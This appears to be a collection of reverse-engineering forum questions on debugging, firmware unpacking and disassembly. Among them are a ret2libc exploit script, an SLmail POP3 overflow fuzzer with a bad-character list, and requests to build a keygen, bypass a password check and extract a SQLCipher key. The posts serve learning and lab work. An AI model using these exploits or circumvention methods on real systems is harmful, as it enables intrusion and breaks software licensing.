This one is kinda tricky question, as it sounds a bit shady, I am well aware of that. Let me first explain the situation. I have this special software designed to read paired industrial sensors from afar. It's paid software coming with those sensors. It contains key-response activation process, where the key generated is a string based on hw and response another string delivered by the maker. What happened here is that I activated it in the office, while my laptop was in a dock, so it runs nicely there. But when I run it again without a dock, new ID is computed and sw asks for a new response. Connect back to the dock, runs nicely again. Thing is, I do not need to run it in the office, obviously. So I usually run it in the office first, disconnecting laptop from the dock afterwards, which way I can use it on the go. But when I am in the field and need to restart the computer or I simply forget to run it in the office first, I lose access to the sw. Manufacturer do not have any direct customer support, it's supposed to be provided through selling channels/partners but they are mostly salesmen and only technical support comes for sensors, not the reading software activation. They were kinda confused with the issue, maybe not even fully understand it and said I need to buy a whole solution again. That's a bit absurd request, sorry. Should I really replace hundreds of sensors to make the reading sw running on un-docked laptop??

The software is a bit old and frankly quite shitty. The key seems to be computed from either physical screen resolution or NIC mac address, didn't pinpoint which one exactly but how it depends on the dock one of those seems probable. So, what I basically need is to help to understand the generation process and build a keygen for that. A bit of thin ice, hopefully I do not break any forum rules here. Would someone have any recommendations where to start..?

Title: Decypher hw key generation process


问:
finding best way to bypassing password check process
i am working to openning or bypassing a password .  at first there is a password with 8 chracters ( letter,number , sign) that i attached a picture of password requst window i opened it by ollydbg and at first sete a bp on GetWindowsTextA and after i enterd worng password and checked out all code and all jumps  and wrote  comments in front of every jump  that i will explain they in following  and  seted a bp on every jump that it did do

in second step
i entered correct pass and i checked out all code and all jumps and wrote comments in front of every jump  that i will explain they in following and seted a bp on every jump that it did do
so there are many diffrents  between them  that i will  attached a screen shot of bps
so whats your idea ? how i can bypassing  the password process?

```<code>              * : if the JMP did  do when  entered worng pass
              Q : if JMP didnot  do when enterd worng pass

              + : if the JMP did  do when  entered correct pass
              R : if the JMP didnot  do when  entered correct pass
</code>```


问:
No instruction in main function when debugging with winedbg
I'v try to debugging windows PE file under Linux.

```<code>winedbg --gdb --no-start a.exe                                                  ─╯
00bc:00c0: create process 'Z:\home\coolder\a.exe'/0x1106b8 @0x4014c0 (83456<1315>)
00bc:00c0: create thread I @0x4014c0
target remote localhost:59889

</code>```

And use radare2 to connect to it.

```<code>r2 -e dbg.exe.path=./a.exe -d gdb://localhost:59889                             ─╯
= attach 192 1
= attach 192 0
WARNING: (dwarf_process.c:902):map_dwarf_reg_to_x86_reg: code should not be reached
 -- Don't wait for Travis
[0x0061fefc]>
</code>```
```<code>[0x000015e0]> pd 3
            ;-- main:
            ;-- _main:
            0x000015e0      ff             invalid
            0x000015e1      ff             invalid
            0x000015e2      ff             invalid
</code>```

Why there's nothing in main funtion?

I have used 'aaa' to analyze.

But when I use 'dc', the program runs correctly.

How to fix it?


问:
How to change value at a memory address?
I am solving Memory Corruption CTF (msp430 assembly)

How can I put the value 0x3c4f inside address 0x439c (r15 from Register state)? When cmp instruction executes, we want the value at memory address 0x439c to be equal to 0x3c4f.

One thing to note is cmp instruction will compare 2 bytes

.W : The suffix .W or no suffix at the
instruction memonic will result in
a word operation

I appreciate your help!

Should I put 3 in 0x439c, c in 0x439d, 4 in 0x439e and f in 0x439f?


问:
ret2libc exploit issue
i have some code in c i am working to write exploit for it:

```<code>#include <stdio.h>
void secretFunction()
{
            printf("Congratulations!\n");
            printf("You have entered in the secret function!\n");
}

void echo()
{
            char buffer[20];
            printf("Enter some text:\n");
            scanf("%s", buffer);
            printf("You entered: %s\n", buffer);
}

int main()
{
            echo();
            return 0;
}
</code>```

and i wrote the exploit script in python:

```<code>#!/bin/env python
import struct
system_addr = struct.pack("<I", 0xb7e1d200)
shell_addr = struct.pack("<I", 0xb7f5e0cf)
exit_addr = struct.pack("<I", 0xb7deeaac)
buf = "A" * 32
buf += system_addr
buf += exit_addr
buf += shell_addr
print buf
</code>```

in gdb:
gdb-peda$ r <<< $(python exploit_scanf.py)

it gave me:

```<code>[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0x42424242 ('BBBB')
ECX: 0x0
EDX: 0xb7fb9890 --> 0x0
ESI: 0xb7fb8000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xd2424242
ESP: 0xbffff470 --> 0xe0cfb7de
EIP: 0xeaacb7e1
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xeaacb7e1
[------------------------------------stack-------------------------------------]
0000| 0xbffff470 --> 0xe0cfb7de
0004| 0xbffff474 --> 0xbf00b7f5
0008| 0xbffff478 --> 0x0
0012| 0xbffff47c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
0016| 0xbffff480 --> 0xb7fb8000 --> 0x1d7d6c
0020| 0xbffff484 --> 0xb7fb8000 --> 0x1d7d6c
0024| 0xbffff488 --> 0x0
0028| 0xbffff48c --> 0xb7df8e81 (<__libc_start_main+241>:       add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xeaacb7e1 in ?? ()
</code>```

and sometimes it gave me:

```<code>/bin/bash: warning: command substitution: ignored null byte in input
</code>```

and no redirect to shell , what is the issue with ret2libc exploit?

Title: ret2libc exploit issue


问:
Alternative to MS Detours (32 bit)
I have used MS Detours for one project in c++ and work perfectly.

I have created a clone of this application (95% of the some code) to hook another file (a GOG game with DRM free), but this time crash always on DetourAttach.

I have compared A/B these 2 projects (both are 32 bit) and for now seem that the new game that I need to hook is incompatible with detuors (or this is my impression).

I ask if there is a good alternative when detours not work.

Title: Alternative to MS Detours (32 bit)


问:
Failed to load .net binary on IDA Pro
I tried to use IDA Pro to load a binary file. IDA detected it as a .NET file:

but when I click OK to load the program, the following error occured, and the program can't be loaded:

I tried to google the error message, but found no answer. Please help me to load this file. Thanks!

Title: Failed to load .net binary on IDA Pro


问:
c-sky family based gx6605 firmware analysis to read data
from past few days i am fiddling with the firmware file of dvb s2 receiver of gx6605s processor.
my preliminary purpose is to read the hidden menu password for given firmware.(password used to hide-unhide menu)
Dump.bin extraction gives 7 other bin files boot.bin,data.bin,info.bin,kernel.bin,logo.bin,root.bin,table.bin..

Kernel.bin is lzma compressed so using a hex editor i removed the lzma header to search the menu password but could'nt find it may be due to a lay man's approach.I also used binwalk with various commands to further extract the fragments but now clueless what to do next.
I request the group members to help me & guide me in choosing the appropriate approach.
Thank you..

firmware link is shared below
https://drive.google.com/file/d/1c2SyGaHu5I9P1jRCWKQomAYNQBYbgmg4/view?usp=sharing


问:
Strange memory allocation behaviour
I'm currently working on a modding library for a particular game, and I have come across a part of the menu system that I can't figure out the purpose of.

The expression in question is this:

```<code>unsigned num = ((n + 1) * 4) / 3 + 3;
</code>```

The game then goes on to use the value to allocate space for menu item structures:

```<code>void *newItemStorage = allocate(num * 0x18);

// 0x18 = sizeof(menu item structure)
</code>```

n is the number of menu item structures there are currently, and the code containing this maths is used to allocate space for more structures when there is not currently enough (the old array is copied into the new space with memcpy).

From what I can tell, this system must be allocating more space than it needs so that fewer reallocations need to happen in the future. However, I don't see why this particular formula must be used to work out the space. The game stores num and only reallocates again when num < n + 1.

I actually graphed the formula when I was working out what it did, so here is that graph. (I used floor to try to simulate integer division.) One of the parts I find most confusing is the fact that num is in groups of three:

Starting at n = 0 and increasing by 1 yields:
4, 5,  7, 8, 9,  11, 12, 13.

If this is some system for preallocating memory, why is it being done like this? If not, what is the system doing?

Title: Strange memory allocation behaviour


问:
Reverse engineering algorithm for get keys
I have 2 groups of 4 byte and from this i have to get a key that have 6 byte.
Im trying to get the algorithm but i cant in any way.
The 1st group have only one bit different from the 2nd one.
Idk if i have to extract the 1st or the second key, but i think the 1st one.

1st group 4byte: 0x6339959F

2nd group 4byte: 0x6339959E

1st group keys:

```<code>0x38A39FE39EF5
0x296A852D73EA
</code>```

2nd group keys:

```<code>0x39BF16EACF1A
0x28760C242205
</code>```

i let a another group and relative keys:

group: 0x66CF0824

keys:

```<code>0x92252BCADB80
0x83EC3104369F
</code>```


问:
What is the meaning of call ds:ApiName[registry*constant] in IDA .asm files?
I have a dataset of .ASM files generated by IDA (dont have the corresponding file)

And there are a lot of calls like this :

```<code>.text:00637114 5F                                  pop     edi
.text:00637115 33 C0                                   xor     eax, eax
.text:00637117 FF 14 45 04 87 63 00                        call    ds:GetModuleHandleA[eax*2]
.text:0063711E 57                                  push    edi
.text:0063711F                                     db      3Eh
.text:0063711F 3E C2 00 00                             retn    0
</code>```

I have never seen something like call ds:apicall[registry*constant] in IDA disassembly  itself, what does this even mean? why is eax getting multiplied by two within a call instruction and its in brackets after the api name? it can't be the input to the api  since its not getting pushed to stack(its x86). i thought near call instructions (FF) only have the offset in their operand, this is really confusing me, what does IDA mean when it says call ApiCall[registry * constant] ?

EDIT1:

this is a "normal" type of api call in .asm files :

```<code>.text:00402ACD 8B CB                                   mov     ecx, ebx
.text:00402ACF 68 B8 9B 64 00                              push    offset WndClass ; lpWndClass
.text:00402AD4 FF 15 44 41 63 00                           call    ds:RegisterClassA
.text:00402ADA 8D 4D 70                                lea     ecx, [ebp+68h+hInstance]
</code>```


问:
Module name in the export table of a PE image
One of the fields of the PE export table is the image name, see screenshot below for an example.

This name is part of the file, even though I can rename it to any other name after it's compiled.

My questions:

Why is it needed?

When is this name used?

What are the implications of this name and the file name going out of sync? Does it matter?


问:
Modify Strings in a ELF (Executable and Linking Format) that are stored in the .rodata
I have 2 ELF files here, each containing strings in the ".rodata" for an translation that I want to modify.
The first ELF "(binary1)" I have already successfully modified from Chinese to German.
The second ELF "(binary2)" has a slightly different structure.
In my first ELF file "(binary1)", which I successfully modified, the pointers for the respective strings were in the ".data.rel.ro" part.
So with a short C# code I could output the strings.

```<code>    static int start_data_rel_ro = 0x1708;
    static int end_data_rel_ro = 0x1A3CF;

    static void binToConsole(string inputFile)
    {
        var data = getData(inputFile);

        for (int i = start_data_rel_ro; i < end_data_rel_ro;)
        {
                var line = "";

                    var addr = BitConverter.ToInt32(new byte[] { data[i], data[i + 1], data[i + 2], data[i + 3],0,0,0,0 },0);
                        i += 4;
                    List<byte> textData = new List<byte>();
                    do
                    {
                        textData.Add(data[addr] == 10 ? ((byte)0x7C) : data[addr]);
                        addr++;
                    } while (data[addr] != 0);
                    line = System.Text.Encoding.UTF8.GetString(textData.ToArray());
                Console.WriteLine(line);
        }
    }

    static byte[] getData(string path)
    {
        byte[] data;

        using (var file = File.OpenRead(path))
        using (var ms = new MemoryStream())
        {
            file.CopyTo(ms);
            data = ms.ToArray();
        }

        return data;
    }
</code>```

For the "(binary1)" I already have a finished program which stores the strings in a CSV and afterwards inserts the CSV back into the "(binary1)" and patches the pointers. So I can make a string longer if I make a string shorter somewhere else.

Here is an excerpt of my previous file, which I have processed successfully

The .rodata contains all strings:

The .data.rel.ro contains all pointers to the strings:

but the new file "(binary2)" I want to edit now looks a bit different.

.rodata

.data.rel.ro

My C# code can't work in the second ELF, because it's a bit different. Unfortunately I don't know what to do. Maybe someone has an approach for me, so I can write a new little tool.

Here is a download link to the "(binary2)": https://drive.google.com/file/d/12vr-zcTnC3TzCIuvZ9Yt19lbb6dkEFdl/view?usp=sharing


问:
CRC16 Reverse in C166 Arch
Before that I asked about piece of code that used in this algorithm (here). Now I have a bit problem with the rest of algorithm.
So I have to describe this with detail. Sorry if i vast your time for read it.

I have shown an algorithm below. It seems is a CRC16 algorithm.

```<code>CRC_16_Calculate:

                mov     [-r0], r9
                mov     [-r0], r8
                mov     [-r0], r7
                mov     [-r0], r6
                mov     r9, r12
                mov     r8, r15
                jmpr    cc_UC, loc_29D6
; ---------------------------------------------------------------------------

loc_29A4:
                mov     r4, r13
                mov     r5, r14
                add     r13, #1
                addc    r14, #0
                exts    r5, #1
                movb    rl3, [r4]
                movbz   r7, rl3
                movb    rl6, #0

loc_29B4:
                mov     r4, r9
                xor     r4, r7
                and     r4, #1
                jmpr    cc_Z, loc_29C8
                mov     r4, r9
                shr     r4, #1
                xor     r4, #0A001h
                mov     r9, r4
                jmpr    cc_UC, loc_29CA
; ---------------------------------------------------------------------------

loc_29C8:
                shr     r9, #1

loc_29CA:
                shr     r7, #1
                addb    rl6, #1
                cmpb    rl6, #8
                jmpr    cc_C, loc_29B4
                sub     r8, #1

loc_29D6:
                cmp     r8, #0
                jmpr    cc_UGT, loc_29A4
                mov     r4, r9
                mov     r6, [r0+]
                mov     r7, [r0+]
                mov     r8, [r0+]
                mov     r9, [r0+]
                rets
</code>```

As you see in below I converted that to C++ code:

```<code>static uint16_t intCrc16(uint8_t* cBuffer)
{
    uint16_t wPreset = 0xFFFF;
    uint16_t iBufLen = 6;
    uint16_t temp = 0;
    while (iBufLen--)
    {
        temp = *cBuffer++;
        for (uint8_t j = 0; j < 8; ++j)
        {
            if ((wPreset ^ temp) & 0x01) wPreset = (wPreset >> 1) ^ 0xA001;
            else wPreset >>= 1;
            temp >>= 1;
        }
    }
    return wPreset;
}
</code>```

It seems everything is good but the problem appear right here. The main loop of this function run for 6 times(iBufLen) but
the input argument(cBuffer) length is always 4 Bytes. To prove this point we check where this algorithm invoked. Look at below:

```<code>mov     r13, r4
mov     r14, r5
mov     r15, #6
calls   0, CRC_16_Calculate
</code>```

As you see, r13 and r14 are input argument as cBuffer and r15 equivalent to iBufLen.
So, what's my mistake?
By the way, r4 and r5 are the returned value of function that I pointed (here).

Title: CRC16 Reverse in C166 Arch


问:
x64dbg how to find name of DLL not found
I have a program that hangs at start on my Window 10 system but runs ok on a VM running a vanilla Windows 10 system.
Using x64dbg I get to an error where it states a DLL is not found.
I have been trying to find out what the name of the missing DLL is.
I have tried to find a dependency tool but failed that so am trying to use x64dbg but am having difficulty trying to find the name of the DLL that is not finding.
Can someone either point me to a good dependency tool or give me a path of steps I can follow to get the DLLs name from x64dbg.</p>


问:
String as constant , even not visible in disassembler
I was reading this article Where I saw that while reversing the WinRAR I saw that the x64dbg is not able to search for a string in all modules "evaluation copy". but why is that happening. is the binary not containing this string? and then the author has used the Resource Hacker to search for the string. and he gets the string. but how? what is resource doing that the disassembler isn't? And one more question, what is that constant "873". why does it has the value of the string?
Please if someone knows, tell me.


问:
xIP vs xSP vs xBP: How to choose the target?
We have 32bit & 64bit binaries, and in ROP (Return Oriented Programming), we sometimes target RSP/ESP, sometimes RIP/EIP, (maybe) sometimes RBP/EBP (I'm new to this, haven't seen RBP used yet). In ROP Emporium's ret2win challenge, I hit (with the target address) EIP on the 32bit binary, but RSP on the 64bit since I couldn't get my payload to hit RIP.

How do we choose which of the 3 registers to target when making a ROP chain/gadget?


问:
WiFi router flash layout - brick?
I'm working on to get openwrt to this Linksys e3200 router.
Stock and wrt firmware did flash ok through web interface.

In the progress of testing different openwrt builds I happen to brick it.

I have bios programmer and flashrom connected. The firmware files is a about 7mb and 11mb in size, the chip is 16mb.
I did truncate the files and flashed ok.

I do only get dim lights on ports. No TTL/serial.

Do you think the flash layout is the cause of something else?

Title: WiFi router flash layout - brick?


问:
Address register offsets and analysis (Tricore)
I'm decompiling a binary file for a Infineon Tricore processor, the code is incomplete and only contains part of the code so will not execute. The auto analysis did a great job and the code is readable but I have 1 snag with the address offsets.

Currently a large part of the code uses a static address offset which are set into [a0]. I know this to be a value of 0xd0008000 and it never changes but can't figure out a way of forcing this during the analysis.

For example, the code will load an address register like this:
[a0]0x50f0
I know this should should be 0xd000d0f0 but the auto analysis will just show [a0]0x50f0.

I can force each reference on a local basis by hitting Ctrl+R and manually adding the offset but I'm interested to know what the correct method is.

Thanks,

Dave


问:
Looking for encoding of SVG data
I have some SVG images stored in a database; but I am not able to find out which encoding is used.

Unfortunately, I don't have the exact SVG plain text available. The given examples "probably" start with <svg> or an XML header like <?xml version="1.0"...

Some examples (shortened):

```<code>[encoded data, 13462 characters] ...
</code>```
```<code>[encoded data, 13462 characters] ...
</code>```

Since both examples start with the same prefix I assume that no encryption is applied. Maybe the data is compressed? Obviously the string contains only hex values - but I did not find a way to extract a meaningful SVG-Image from that.

Any help or ideas? What are possible next steps to find out more about the encoding?

Best regards
Dominik

Title: Looking for encoding of SVG data


问:
How to change IDA to use Python 3.7 and not Python 2.7: "do not have the x86_64 architecture"
I have IDA 6.95, Python 2.7 and Python 3.7.

Currently when I start IDA it uses Python 2.7:

```<code>-----------------------------------------------------------------------------------------
Python 2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)]
IDAPython v1.7.0 final (serial 0) (c) The IDAPython Team <idapython@googlegroups.com>
-----------------------------------------------------------------------------------------
</code>```

I wanted to change it to 3.7.

I tried to do it with idapyswitch.exe but failed:

```<code>C:\Program Files (x86)\IDA 6.95>idapyswitch.exe --force-path "C:\Users\user1\AppData\Local\Programs\Python\Python37-32\python3.dll"
Cannot determine python library version for "C:\Users\user1\AppData\Local\Programs\Python\Python37-32\python3.dll": DLLs in directory "C:\Users\user1\AppData\Local\Programs\Python\Python37-32" do not have the x86_64 architecture
</code>```

How can I change it, I don't understand what is the problem with the architecture of the files?


问:
Is it possible to work around SQLcipher by modifying libsqlcipher.so?
I was trying to extract data from an Android app which uses SQLcipher. SQLcipher is an extension of SQLite that encrypts database files with 256-bit AES.

Within the APK, the library lies in lib/libsqlcipher.so. I'm curious if I can extract the encryption key simply by modifying libsqlcipher.so(e.g. modify sqlite3_key function so that it logs the encryption key to file). The plan is to compile my own version of libsqlcipher.so, repack APK, install it, and run it on a device.

Will this method work as expected? It sounds too easy to be true:)


问:
Reverse Engineer Slack Workspace
Is there any Slack workspace for Reverse Engineer experts?
I wanna to communicating other people who work in this issue.
I am thankful if you know this workspace and invite me.</p>

Title: Reverse Engineer Slack Workspace


问:
A way to detect a anti-cheating system
I have created a DLL for DLL inject injection to add a force feedback to a GOG game. The DLL Work perfectly. I have tried to see how work the Debug in CE with this script:

```<code>debugProcess()  -- Attach Debugger to the process.
function debugger_onBreakpoint()

   print("hello hacking")

    return 0 --Break

end

debug_setBreakpoint(0x542E51)
</code>```

that work fine like I espected.

Now I have used my dll as "template" with another GOG game (DRM free) but this time after tried to hook more then 20 functions that in theory should be call but none of them trigger my code.

I have tried with CE using the previous script with the some result, the game never break.

At this point I suspect that the game could use a anti-cheating system.

For the moment I see that IDA detect the real name of many functions:

here what Cheat Engine see:

There is a way to verify if the game include a sort of anti-cheatting system or similar ?

Thank you !

Title: A way to detect a anti-cheating system


问:
Reverse an encryption algorithem in APK .so file
I try to reverse a cipher algorithm (I guess Tiny Encryption Algorithm (TEA)) in an android application. But I have a serious problem in initializing arguments. How I can understand that I have selected the input arguments correctly?(Especially when they are pointer)
This algorithm get 4 bytes from user(typed in a textbox)and other 4 bytes from an external hardware and mix up this 8 bytes and export 4 bytes for us.
So, I have shown this algorithm in below:

```<code>                EXPORT Mycipher
Mycipher

var_20          = -0x20
var_1C          = -0x1C

                PUSH    {R0-R2,R4-R7,LR}
                MOVS    R3, #0
                STR     R0, [SP,#0x20+var_20]
                LDR     R4, [R1]
                LDR     R0, [R1,#4]
                MOVS    R5, R3
                MOVS    R6, #3
                MOV     R12, R1
                B       loc_DADC
; ---------------------------------------------------------------------------

loc_DAA6                                ; CODE XREF: Mycipher+4C
                MOVS    R1, R3
                ANDS    R1, R6
                LSLS    R1, R1, #2
                LDR     R1, [R1,R2]
                LSLS    R7, R0, #4
                ADDS    R5, #1
                ADDS    R1, R3, R1
                STR     R1, [SP,#0x20+var_1C]
                LSRS    R1, R0, #5
                EORS    R7, R1
                LDR     R1, [SP,#0x20+var_1C]
                ADDS    R7, R7, R0
                EORS    R7, R1
                LDR     R1, =0x9E3779B9
                ADDS    R4, R4, R7
                LSRS    R7, R4, #5
                ADDS    R3, R3, R1
                LSLS    R1, R4, #4
                EORS    R7, R1
                LSRS    R1, R3, #0xB
                ANDS    R1, R6
                LSLS    R1, R1, #2
                LDR     R1, [R1,R2]
                ADDS    R7, R7, R4
                ADDS    R1, R3, R1
                EORS    R1, R7
                ADDS    R0, R0, R1

loc_DADC                                ; CODE XREF: Mycipher+10
                LDR     R1, [SP,#0x20+var_20]
                CMP     R5, R1
                BNE     loc_DAA6
                MOV     R1, R12
                STR     R4, [R1]
                STR     R0, [R1,#4]
                POP     {R0-R2,R4-R7,PC}
; End of function Mycipher
</code>```

Then I reverse this algorithm to C code :

```<code>void Mycipher (uint32_t* v, const uint32_t* k ) {
    uint32_t v0=v[0] ,v1=v[1], sum=0, i;
for (i=0; i<2; i++) {
    v0 += ((v1 << 4u ^ v1 >> 5u) + v1) ^ (uint32_t)(sum + *(uint32_t *)(((sum & 3u) * 4u) + k));
    sum = sum + 0x9e3779b9;
    v1 += (sum + *(uint32_t *)((sum >> 0xb & 3u) * 4u + k) ^ (v0 >> 5u ^ v0 * 0x10) + v0);
}
v[0]=v0; v[1]=v1;
}
</code>```

And you can see the piece of code that exactly there is in before of function invoke:

```<code>STR     R3, [SP,#0x258+var_248]
MOVS    R0, #2
MVNS    R3, R3
ADD     R1, SP, #0x258+var_248
ADD     R2, SP, #0x258+var_240
STR     R3, [SP,#0x258+var_244]
BL      Mycipher
</code>```

But I don't know how I can determine the input arguments type? For example, I put the second argument as const because the cLion suggest me(Not for my knowledge). Or, In this case which line of code that shown above I must consider for input arguments? Now, I think my conversion have some problems(I'm suspicious to my codes) and I like to know how I can fix these problems.
Sorry for eating your time.
Thanks


问:
Unpacking or split .BIN firmware for router device
Sorry for my question, i'm newbie! so i'm trying to split or unpack this file mobile_update.bin, it is an firmware for routeur device.

(Based on qualcomm 9x07 and secureboot device also), i'm trying with 7zip or binwalk but error. Someone says me that it easy to unpack but  really, i have a headache to try with my little knwoledge.

Could you help me or give idea to unpack this please?
Thank you very much !

link > mobile_update

(sorry for my English is so bad)


问:
What are C2 & C3 characters in SLmail bad characters?
According to this site, there are 3 bad characters in SLmail v5.5

https://www.whitelist1.com/2016/11/xstack-overflow-1-exploiting-slmail.html

To sum it up, there are 3 bad characters that being interpreted
literally by the compiler, their immediate effect consist on
truncating the normal execution of the program. Once removed, the
buffer is executed correctly.

0x00 = Null Byte = terminates a string copy operation. 0x0D = Carriage
Return = resets to the beginning of a line of text. 0x0A = Line Feed =
advances by the space of one line.

However, I don't get similar result after removing these 3 characters.

Here is the screenshot of my Immunity. Notice that there are a lot of C2 & C3 characters in it.

Registers

```<code>EAX 00000000
ECX 01C89EF0 ASCII "20/10/03 00:25:07 P3-0001: Illegal command 0(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

ESP 01C8A154
EBP 41414141
EIP 42424242
</code>```

Stack

```<code>01C8A148   41414141  AAAA
01C8A14C   41414141  AAAA
01C8A150   42424242  BBBB
01C8A154   04030201
01C8A158   08070605
01C8A15C   0E0C0B09  ..
</code>```

Hex dump

```<code>01C8A134  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01C8A144  41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42  AAAAAAAAAAAABBBB
01C8A154  01 02 03 04 05 06 07 08 09 0B 0C 0E 0F 10 11 12  ..
01C8A164  13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22   !"
01C8A174  23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32  #$%&'()*+,-./012
01C8A184  33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42  3456789:;<=>?@AB
01C8A194  43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52  CDEFGHIJKLMNOPQR
01C8A1A4  53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62  STUVWXYZ[\]^_`ab
01C8A1B4  63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72  cdefghijklmnopqr
01C8A1C4  73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F C2 80 C2  stuvwxyz{|}~Â€Â
01C8A1D4  81 C2 82 C2 83 C2 84 C2 85 C2 86 C2 87 C2 88 C2  Â‚ÂƒÂ„Â…Â†Â‡ÂˆÂ
01C8A1E4  89 C2 8A C2 8B C2 8C C2 8D C2 8E C2 8F C2 90 C2  ‰ÂŠÂ‹ÂŒÂÂŽÂÂÂ
01C8A1F4  91 C2 92 C2 93 C2 94 C2 95 C2 96 C2 97 C2 98 C2  ‘Â’Â“Â”Â•Â–Â—Â˜Â
01C8A204  99 C2 9A C2 9B C2 9C C2 9D C2 9E C2 9F C2 A0 C2  ™ÂšÂ›ÂœÂÂžÂŸÂ Â
01C8A214  A1 C2 A2 C2 A3 C2 A4 C2 A5 C2 A6 C2 A7 C2 A8 C2  ¡Â¢Â£Â¤Â¥Â¦Â§Â¨Â
01C8A224  A9 C2 AA C2 AB C2 AC C2 AD C2 AE C2 AF C2 B0 C2  ©ÂªÂ«Â¬ÂÂ®Â¯Â°Â
01C8A234  B1 C2 B2 C2 B3 C2 B4 C2 B5 C2 B6 C2 B7 C2 B8 C2  ±Â²Â³Â´ÂµÂ¶Â·Â¸Â
01C8A244  B9 C2 BA C2 BB C2 BC C2 BD C2 BE C2 BF C3 80 C3  ¹ÂºÂ»Â¼Â½Â¾Â¿Ã€Ã
01C8A254  81 C3 82 C3 83 C3 84 C3 85 C3 86 C3 87 C3 88 C3  Ã‚ÃƒÃ„Ã…Ã†Ã‡ÃˆÃ
01C8A264  89 C3 8A C3 8B C3 8C C3 8D C3 8E C3 8F C3 90 C3  ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ
01C8A274  91 C3 92 C3 93 C3 94 C3 95 C3 96 C3 97 C3 98 C3  ‘Ã’Ã“Ã”Ã•Ã–Ã—Ã˜Ã
01C8A284  99 C3 9A C3 9B C3 9C C3 9D C3 9E C3 9F C3 A0 C3  ™ÃšÃ›ÃœÃÃžÃŸÃ Ã
01C8A294  A1 C3 A2 C3 A3 C3 A4 C3 A5 C3 A6 C3 A7 C3 A8 C3  ¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã
01C8A2A4  A9 C3 AA C3 AB C3 AC C3 AD C3 AE C3 AF C3 B0 C3  ©ÃªÃ«Ã¬ÃÃ®Ã¯Ã°Ã
01C8A2B4  B1 C3 B2 C3 B3 C3 B4 C3 B5 C3 B6 C3 B7 C3 B8 C3  ±Ã²Ã³Ã´ÃµÃ¶Ã·Ã¸Ã
01C8A2C4  B9 C3 BA C3 BB C3 BC C3 BD C3 BE C3 BF 29 20 69  ¹ÃºÃ»Ã¼Ã½Ã¾Ã¿) i
01C8A2D4  6E 20 73 74 61 74 65 20 35 00 00 00 00 00 00 00  n state 5.......
01C8A2E4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
01C8A2F4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
</code>```

Update

I was using this code as a reference.

https://github.com/coffeecoco/slmail/blob/master/pop3-pass-fuzz.py

But since that was written for Python 2 and I'm using Python 3, I've modified the code a little bit as they're not really compatible with each other.

script 1 as a fuzzer

```<code>#!/usr/bin/python

import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print("Fuzzing PASS with %s bytes" % len(string))
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect(('127.0.0.1', 110))
    s.recv(1024)
    s.send(b'USER wolf\r\n')
    s.recv(1024)
    s.send(b'PASS ' + string.encode() + b'\r\n')
    s.send(b'QUIT\r\n')
s.close()
</code>```

script 2 - to identify bad characters

screenshot above was generated with this code

```<code>#!/usr/bin/python

import socket

# \x00, \x0a, and \x0d have been removed
badCharacters = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

